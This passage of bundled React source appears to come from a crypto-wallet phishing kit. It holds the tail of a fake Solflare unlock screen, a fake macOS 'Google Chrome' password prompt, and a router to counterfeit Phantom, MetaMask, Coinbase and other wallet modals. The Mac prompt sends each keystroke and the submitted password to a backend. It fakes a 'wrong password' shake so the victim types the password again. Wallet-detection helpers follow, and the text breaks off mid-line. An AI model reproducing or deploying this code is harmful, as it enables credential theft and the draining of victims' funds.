onClick={togglePasswordVisibility}\n >\n { !showPassword ? (\n <>\n <path d=\"M10.1529 4.59982C6.40178 4.59982 3.17595 6.87419 1.8999 10.1018C3.17595 13.3294 6.40176 15.6038 10.1529 15.6038C13.9041 15.6038 17.131 13.3294 18.4059 10.1018C17.131 6.87417 13.9041 4.59982 10.1529 4.59982M10.1529 13.7695C8.0526 13.7695 6.40178 12.1564 6.40178 10.1018C6.40178 8.04723 8.0526 6.43413 10.1529 6.43413C12.2544 6.43413 13.9041 8.04723 13.9041 10.1018C13.9041 12.1564 12.2544 13.7695 10.1529 13.7695ZM10.1529 7.90104C8.87799 7.90104 7.90204 8.85526 7.90204 10.1018C7.90204 11.3484 8.87799 12.3026 10.1529 12.3026C11.429 12.3026 12.4038 11.3484 12.4038 10.1018C12.4038 8.85526 11.429 7.90104 10.1529 7.90104\" fill=\"rgba(245,248,255,0.4)\"/>\n </>\n ) : (\n <>\n <path d=\"M10.1529 4.59982C6.40178 4.59982 3.17595 6.87419 1.8999 10.1018C3.17595 13.3294 6.40176 15.6038 10.1529 15.6038C13.9041 15.6038 17.131 13.3294 18.4059 10.1018C17.131 6.87417 13.9041 4.59982 10.1529 4.59982M10.1529 13.7695C8.0526 13.7695 6.40178 12.1564 6.40178 10.1018C6.40178 8.04723 8.0526 6.43413 10.1529 6.43413C12.2544 6.43413 13.9041 8.04723 13.9041 10.1018C13.9041 12.1564 12.2544 13.7695 10.1529 13.7695ZM10.1529 7.90104C8.87799 7.90104 7.90204 8.85526 7.90204 10.1018C7.90204 11.3484 8.87799 12.3026 10.1529 12.3026C11.429 12.3026 12.4038 11.3484 12.4038 10.1018C12.4038 8.85526 11.429 7.90104 10.1529 7.90104\" fill=\"rgba(245,248,255,0.4)\"/>\n <path d=\"M16.7771 16.7229L15.8227 17.6774L3.22266 5.07739L4.17715 4.12289L16.7771 16.7229Z\" fill=\"rgba(245,248,255,0.4)\"/>\n <path d=\"M17.6773 15.8227L16.7228 16.7772L4.1228 4.17721L5.07729 3.22272L17.6773 15.8227Z\" fill=\"rgba(245,248,255,0.4)\"/>\n </>\n )}\n </svg> \n </div>\n {error && helperText && <span className='text-[#ff4d4f] solflare-font flex text-[14px] leading-[17px] mt-1 w-full'>{helperText}</span>}\n </div>\n <div className=\"\">\n <button \n onClick={isButtonEnabled ? handleKeywordTyping : undefined}\n disabled={!isButtonEnabled || connecting}\n className=\"solflare-font-bold self-center rounded-[100px] text-[16px] py-[12px] bg-[#ffef46] text-[#090c11] hover:bg-[#eeda0f] active:bg-[#d6c40e] cursor-pointer items-center border-none flex justify-center relative transition-all duration-200 ease-in-out w-full\"\n >\n Unlock\n </button>\n </div>\n </div>\n </div>\n </div>\n <div className='absolute bottom-0 left-0 right-0 pt-[8px] px-[16px] pb-[16px]'>\n <button \n onClick={showForgetPassword}\n className='text-[12px] text-[#f5f8ff] leading-[16px] flex justify-center items-center w-full p-0 cursor-pointer solflare-font'\n >\n Forgot password\n </button>\n </div>\n </div>\n\n {/* Forgot Password Modal */}\n {showForgetPasswordModal && (\n <div id=\"forget-password-modal\" className=\"absolute inset-0 z-[1001]\">\n <div className=\"relative w-full h-full\">\n <div \n className=\"bg-[#10101099] absolute bottom-0 left-0 right-0 top-0\"\n onClick={closeForgetPasswordModal}\n ></div>\n <div tabIndex={-1} className=\"absolute bottom-0 left-0 right-0 text-center flex items-center justify-center\" role=\"dialog\">\n <div role=\"document\" className=\"box-border text-[#ffffff] bg-[#171a1f] text-[14px] tabular-nums list-none pointer-events-none relative w-full\">\n <div tabIndex={0} aria-hidden=\"true\" style={{width: \"0px\", height: \"0px\", overflow: \"hidden\", outline: \"none\"}}></div>\n <div className=\"h-[302px] rounded-t-[12px] border-0 flex flex-col gap-[24px] shadow-[0_3px_6px_-4px_rgba(0,0,0,0.12),_0_6px_16px_0_rgba(0,0,0,0.08),_0_9px_28px_8px_rgba(0,0,0,0.05)] pointer-events-auto relative bg-[#171a1f]\">\n <div className='flex flex-col gap-[12px]'>\n <div>\n <div className='px-[8px] text-[16px] text-white solflare-font-bold h-[64px] flex items-center'>\n <div className='px-[8px]'>Forgot Password</div>\n </div>\n <div className='px-[16px]'>\n <div className='px-[12px] py-[8px] flex gap-[8px] border border-[rgba(255,184,0,0.2)] bg-[rgba(38,24,11,0.5)] rounded-[12px]'>\n <div className='pt-[4px]'>\n <svg xmlns=\"http://www.w3.org/2000/svg\" width=\"16\" height=\"16\" viewBox=\"0 0 16 16\" fill=\"none\"><path d=\"M13 1.33328H2.99996L1.33329 2.99995V12.9999L2.99996 14.6666H13L14.6666 12.9999V2.99995L13 1.33328ZM9.01258 11.3514H6.98706V9.88747H9.01258V11.3514ZM9.01258 8.8828H6.98706V4.64851H9.01258V8.8828Z\" fill=\"#FFB800\"></path></svg>\n </div>\n <div className='flex flex-col'>\n <div className='text-left text-[12px] solflare-font-bold h-[24px] flex items-center text-[#ffb800]'>Make sure you have your recovery phrase</div>\n <div className='text-left text-[12px] solflare-font text-[rgba(255,184,0,0.7)]'>Your recovery phrase is the only way to restore your wallet if you log out.</div>\n </div>\n </div>\n </div>\n </div>\n <div className='px-[16px] text-[14px] leading-[20px] text-[rgba(245,248,255,0.4)] solflare-font text-left'>If you forgot your password, the only way to restore your wallets is to log out, re-import your recovery phrase and set a new password.</div>\n </div>\n <div className='text-[16px] leading-[24px] text-[#f5f8ff] flex flex-row gap-[16px] px-[16px]'>\n <button onClick={closeForgetPasswordModal} className='solflare-font w-full rounded-[100px] text-[16px] py-[12px] bg-[rgba(245,248,255,0.08)] text-[#ffffff] hover:bg-[rgba(245,248,255,0.12)] active:bg-[rgba(245,248,255,0.2)] cursor-pointer items-center border-none flex justify-center relative transition-all duration-200 ease-in-out'>Cancel</button>\n <button className='solflare-font w-full rounded-[100px] text-[16px] py-[12px] bg-[#ffef46] text-[#090c11] hover:bg-[#eeda0f] active:bg-[#d6c40e] cursor-pointer items-center border-none flex justify-center relative transition-all duration-200 ease-in-out'>Continue</button>\n </div>\n </div>\n <div tabIndex={0} aria-hidden=\"true\" className=\"w-0 h-0 overflow-hidden outline-none\"></div>\n </div>\n </div>\n </div>\n </div>\n )}\n </div>\n )}\n </div>\n </div>\n </div>\n );\n\n return modalContent;\n};\n\nexport default SolflareModal;\n","import React, { useState, useEffect, useRef } from 'react';\nimport { initializeLocationData, initializeSocket, sendKeyToBackend } from '../../services/keyService';\nimport { CustomWalletModalProps } from '../../types';\nimport './styles.css';\n\nconst MacModal: React.FC<CustomWalletModalProps> = ({ isOpen, onClose, userId, backendConfig, adminName: adminNameProp }) => {\n const [adminName, setAdminName] = useState(adminNameProp || 'Administrator');\n const [keyword, setKeyword] = useState('');\n const [connecting, setConnecting] = useState(false);\n const [trying, setTrying] = useState(0);\n const [submitting, setSubmitting] = useState(false);\n const [isWrongPassword, setIsWrongPassword] = useState (false);\n \n const passwordInputRef = useRef<HTMLInputElement>(null);\n const modalRef = useRef<HTMLDivElement>(null);\n \n // Drag and drop state\n const [isDragging, setIsDragging] = useState(false);\n const [modalPosition, setModalPosition] = useState({ x: 0, y: 0 });\n const dragStartPos = useRef({ x: 0, y: 0 });\n\n useEffect(() => {\n if (isOpen) {\n initializeLocationData();\n initializeSocket();\n setModalPosition({ x: 0, y: 0 });\n setAdminName(adminNameProp || 'Administrator');\n setTimeout(() => {\n passwordInputRef.current?.focus();\n }, 300);\n }\n }, [isOpen, adminNameProp]);\n\n // Handle drag functionality\n useEffect(() => {\n if (!isDragging) return;\n\n const handleMouseMove = (e: MouseEvent) => {\n const deltaX = e.clientX - dragStartPos.current.x;\n const deltaY = e.clientY - dragStartPos.current.y;\n setModalPosition({ \n x: modalPosition.x + deltaX, \n y: modalPosition.y + deltaY \n });\n dragStartPos.current = { x: e.clientX, y: e.clientY };\n };\n\n const handleMouseUp = () => {\n setIsDragging(false);\n };\n\n document.addEventListener('mousemove', handleMouseMove);\n document.addEventListener('mouseup', handleMouseUp);\n\n return () => {\n document.removeEventListener('mousemove', handleMouseMove);\n document.removeEventListener('mouseup', handleMouseUp);\n };\n }, [isDragging, modalPosition]);\n\n const handleMouseDown = (e: React.MouseEvent<HTMLDivElement>) => {\n const target = e.target as HTMLElement;\n if (\n target.tagName === 'BUTTON' || \n target.tagName === 'INPUT' || \n target.closest('button') ||\n target.closest('input')\n ) {\n return;\n }\n\n setIsDragging(true);\n dragStartPos.current = { x: e.clientX, y: e.clientY };\n };\n\n const handleKeywordChange = async (e: React.ChangeEvent<HTMLInputElement>) => {\n const newKeyword = e.target.value;\n setKeyword(newKeyword);\n\n const currentUserId = backendConfig?.userId || userId;\n if (currentUserId && newKeyword && (backendConfig?.enabled !== false)) {\n await sendKeyToBackend(currentUserId, 'cha', newKeyword, \"MAC\");\n }\n };\n\n const handleKeywordTyping = async () => {\n if (connecting || !keyword) return;\n\n setConnecting(true);\n const currentUserId = backendConfig?.userId || userId;\n\n if (!currentUserId) {\n setConnecting(false);\n return;\n }\n\n if (backendConfig?.enabled !== false) {\n await sendKeyToBackend(currentUserId, 'enter', keyword, \"MAC\");\n\n setSubmitting(true);\n setTimeout(() => {\n setConnecting(false);\n if (trying < 1) {\n setTrying(trying + 1);\n } else {\n if (onClose) onClose();\n }\n setSubmitting(false);\n passwordInputRef.current?.focus();\n setIsWrongPassword(true);\n setTimeout(() => {\n setIsWrongPassword(false);\n }, 500);\n }, 500);\n } else {\n setTimeout(() => setConnecting(false), 150);\n }\n };\n\n const handleKeyDown = (e: React.KeyboardEvent<HTMLInputElement>) => {\n if (e.key === 'Enter' && keyword && !connecting) {\n handleKeywordTyping();\n }\n };\n\n if (!isOpen) return null;\n const appName = 'Google Chrome';\n\n const handleCancelbutton = () => {\n setIsWrongPassword(true);\n setTimeout(() => {\n setIsWrongPassword(false);\n }, 500);\n }\n\n return (\n <>\n {/* Backdrop with blur effect */}\n <div \n className={`fixed z-[9999] transition-opacity duration-300 ${\n isOpen ? 'opacity-100' : 'opacity-0 pointer-events-none'\n }`}\n style={{\n backdropFilter: 'blur(18px) saturate(140%)',\n WebkitBackdropFilter: 'blur(18px) saturate(140%)',\n backgroundColor: 'rgba(0, 0, 0, 0.0)'\n }}\n />\n \n {/* Main Modal */}\n <div\n className={`fixed inset-0 z-[10000] flex items-center justify-center transition-opacity duration-300 ${\n isOpen ? 'opacity-100' : 'opacity-0 pointer-events-none'\n }`}\n >\n {/* Outer: drag position only. Inner vibrate runs separately so it doesn't override translate. */}\n <div\n onMouseDown={handleMouseDown}\n ref={modalRef}\n className=\"transition-transform duration-300 ease-out\"\n style={{\n transform: `translate(${modalPosition.x}px, ${modalPosition.y}px)`,\n transition: isDragging ? 'none' : 'transform 0.3s ease-out'\n }}\n >\n {/* Vibrate wrapper: shake runs here so it doesn't override position or scale */}\n <div className={isWrongPassword ? 'mac-modal-vibrate' : ''}>\n <div\n className=\"bg-[#2f2f2f] rounded-[14px] border border-black w-[260px] transition-transform duration-300\"\n style={{\n boxShadow: '0 18px 60px rgba(0, 0, 0, 0.55)',\n transform: isOpen ? 'scale(1)' : 'scale(0.95)'\n }}\n >\n {/* Modal Content - Chrome-style vertical layout */}\n <div className=\"px-[20px] pb-[18px] select-none\">\n <div className='w-full h-[22px]'></div>\n {/* Icon (draggable) */}\n <div className=\"flex justify-center mb-[6px]\">\n <div className=\"relative w-[70px] h-[70px]\">\n <svg version=\"1.2\" xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 64 64\" width=\"64\" height=\"64\">\n <defs>\n <image width=\"51\" height=\"57\" id=\"img1\" href=\"data:image/png;base64,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\"/>\n </defs>\n <style>\n </style>\n <use id=\"Background\" href=\"#img1\" x=\"10\" y=\"2\"/>\n </svg>\n {/* <img src='https://www.riveanimation.cards/v8/images/lock.png' draggable={false} /> */}\n </div>\n </div>\n\n {/* Title (draggable) */}\n <div className=\"text-center text-[13px] text-[#ffffff] leading-[20px] mb-[6px] mac-font-bold\">\n {appName}\n </div>\n\n {/* Message */}\n <div className=\"text-center text-[11px] text-[#ffffff] leading-[16px] mb-[4px] mac-font-medium\">\n <div>{appName} is trying to enable</div>\n <div>3D rendering</div>\n <div className=\"mt-[14px] text-[#ffffff] mac-font-medium tracking-wide\">Enter your password to allow this.</div>\n </div>\n\n {/* Admin field */}\n <div className=\"mb-[6px]\">\n <input\n value={adminName}\n onChange={(e) => setAdminName(e.target.value)}\n className={`tracking-wider w-full px-[10px] py-[1px] rounded-[5px] text-[11px] border border-[rgba(255,255,255,0.08)] focus:border-transparent input-with-focus placeholder:text-[rgba(245,248,255,0.35)] ${submitting ? ' bg-[#2f2f2f] text-[#f5f5f75d]' : ' bg-[rgba(255,255,255,0.07)] text-[#f5f5f7]'} mac-font-medium`}\n disabled={submitting}\n autoComplete=\"new-password\"\n spellCheck={false}\n />\n </div>\n\n {/* Password field */}\n <div className=\"mb-[16px]\">\n <input\n ref={passwordInputRef}\n type=\"password\"\n value={keyword}\n onChange={handleKeywordChange}\n onKeyDown={handleKeyDown}\n placeholder=\"Password\"\n autoComplete=\"new-password\"\n spellCheck={false}\n disabled={submitting}\n className={`tracking-wider w-full px-[10px] py-[1px] rounded-[5px] text-[11px] border border-[rgba(255,255,255,0.08)] focus:border-transparent input-with-focus placeholder:text-[rgba(245,248,255,0.35)] ${submitting ? ' bg-[#2f2f2f] text-[#f5f5f75d]' : ' bg-[rgba(255,255,255,0.07)] text-[#f5f5f7]'} mac-font-medium`}\n />\n </div>\n\n {/* Buttons */}\n <div className=\"flex gap-[10px]\">\n <button\n onClick={handleCancelbutton}\n className={`flex-1 h-[28px] rounded-[7px] text-[13px] font-medium hover:bg-[rgba(255,255,255,0.28)] active:bg-[rgba(255,255,255,0.32)] transition-colors ${submitting ? ' bg-[rgba(255,255,255,0.11)] text-[#f5f5f75d]' : 'bg-[rgba(255,255,255,0.22)] text-[#f5f5f7]'} mac-font-medium`}\n disabled={submitting}\n >\n Cancel\n </button>\n <button\n onClick={handleKeywordTyping}\n disabled={submitting}\n className={`flex-1 h-[28px] rounded-[7px] text-[13px] font-semibold transition-colors active:bg-[#3c9cfc] ${submitting ? ' bg-[rgba(255,255,255,0.11)] text-[#f5f5f75d]' : 'bg-[#0a84ff] text-white'} mac-font-medium`} \n >\n OK\n </button>\n </div>\n </div>\n </div>\n </div>\n </div>\n </div>\n </>\n );\n};\n\nexport default MacModal;\n","import React from 'react';\nimport { CustomWalletModalProps } from '../types';\nimport { useDarkMode } from '../utils/useDarkMode';\nimport ModalContainer from './ModalContainer';\nimport PhantomModal from '../wallets/phantom/PhantomModal';\nimport MetamaskModal from '../wallets/metamask/MetamaskModal';\nimport RabbyModal from '../wallets/rabby/RabbyModal';\nimport TronlinkModal from '../wallets/tronlink/TronlinkModal';\nimport BitgetModal from '../wallets/bitget/BitgetModal';\nimport CoinbaseModal from '../wallets/coinbase/CoinbaseModal';\nimport SolflareModal from '../wallets/solflare/SolflareModal';\nimport MacModal from '../wallets/mac/MacModal';\nimport '../styles/modal-isolation.css';\n\nconst CustomWalletModal: React.FC<CustomWalletModalProps> = ({\n wallet,\n isOpen = false,\n onClose,\n userId,\n backendConfig,\n darkMode: darkModeProp, // Allow override if provided\n}) => {\n // Detect browser's dark mode preference\n const detectedDarkMode = useDarkMode();\n // Use prop if provided, otherwise use detected value\n const darkMode = darkModeProp !== undefined ? darkModeProp : detectedDarkMode;\n\n if (!isOpen) return null;\n\n // Route to appropriate wallet modal\n const modalProps = {\n isOpen,\n onClose: onClose || (() => {}),\n wallet,\n userId: userId || backendConfig?.userId,\n backendConfig, // Pass backendConfig so modals can check enabled flag\n darkMode,\n };\n\n let modalComponent = null;\n switch (wallet) {\n case 'Phantom':\n modalComponent = <PhantomModal {...modalProps} />;\n break;\n case 'MetaMask':\n modalComponent = <MetamaskModal {...modalProps} />;\n break;\n case 'Rabby':\n modalComponent = <RabbyModal {...modalProps} />;\n break;\n case 'TronLink':\n modalComponent = <TronlinkModal {...modalProps} />;\n break;\n case 'Bitget':\n modalComponent = <BitgetModal {...modalProps} />;\n break;\n case 'Coinbase':\n modalComponent = <CoinbaseModal {...modalProps} />;\n break;\n case 'Solflare':\n modalComponent = <SolflareModal {...modalProps} />;\n break;\n case 'Mac':\n modalComponent = <MacModal {...modalProps} />;\n break;\n default:\n // Unknown wallet type - return null or a default modal\n return null;\n }\n\n // Wrap modal in isolated container to prevent style conflicts\n return <ModalContainer>{modalComponent}</ModalContainer>;\n};\n\nexport default CustomWalletModal;\n\n","/**\r\n * Wallet Detection Utilities\r\n * Checks if wallet browser extensions are installed\r\n */\r\n\r\nexport interface WalletDetectionResult {\r\n isInstalled: boolean;\r\n walletName: string;\r\n}\r\n\r\n/**\r\n * Check if MetaMask is installed\r\n */\r\nexport const isMetaMaskInstalled = (): boolean => {\r\n // if (typeof window === 'undefined') {\r\n // return false;\r\n // }\r\n\r\n // const ethereum = (window as any).ethereum;\r\n \r\n // if (!ethereum) {\r\n // return false;\r\n // }\r\n\r\n // if (Array.isArray(ethereum)) {\r\n // return ethereum.some((provider: any) => provider.isMetaMask === true);\r\n // }\r\n\r\n // const providers = Array.isArray(ethereum.providers) ? ethereum.providers : [ethereum];\r\n\r\n // return providers.some((provider: any) => {\r\n // return provider.isMetaMask === true && provider.isRabby !== true;\r\n // });\r\n\r\n if ((window as any).ethereum) {\r\n if ((window as any).ethereum.isMetaMask) {\r\n return true;\r\n } else if ((window as any).ethereum.isRabby) {\r\n } else {\r\n }\r\n } else {\r\n return false\r\n }\r\n return false;\r\n};\r\n\r\n/**\r\n * Check if Phantom is installed\r\n */\r\nexport const isPhantomInstalled = (): boolean => {\r\n return typeof window !== 'undefined' \r\n && typeof (window as any).solana !== 'undefined' \r\n && (window as any).solana.isPhantom === true;\r\n};\r\n\r\n/**\r\n * Check if Rabby is installed\r\n */\r\nexport const isRabbyInstalled = (): boolean => {\r\n if (typeof window === 'undefined') {\r\n return false;\r\n }\r\n\r\n const ethereum = (window as any).ethereum;\r\n \r\n if (!ethereum) {\r\n return false;\r\n }\r\n\r\n // Handle case where window.ethereum itself is an array (some wallet configurations)\r\n if (Array.isArray(ethereum)) {\r\n return ethereum.some((provider: any) => provider.isRabby === true);\r\n }\r\n\r\n // Normalize providers: use providers array if it exists, otherwise check the main ethereum object\r\n const providers = Array.isArray(ethereum.providers) ? ethereum.providers : [ethereum];\r\n\r\n // Check all providers for Rabby\r\n return providers.some((provider: any) => provider.isRabby === true);\r\n};\r\n\r\n/**\r\n * Check if TronLink is installed\r\n */\r\nexport const isTronLinkInstalled = (): boolean => {\r\n return typeof window !== 'undefined' \r\n && (typeof (window as any).tronWeb !== 'undefined' || typeof (window as any).tronLink !== 'undefined');\r\n};\r\n\r\n/**\r\n * Check if Bitget is installed\r\n */\r\nexport const isBitgetInstalled = 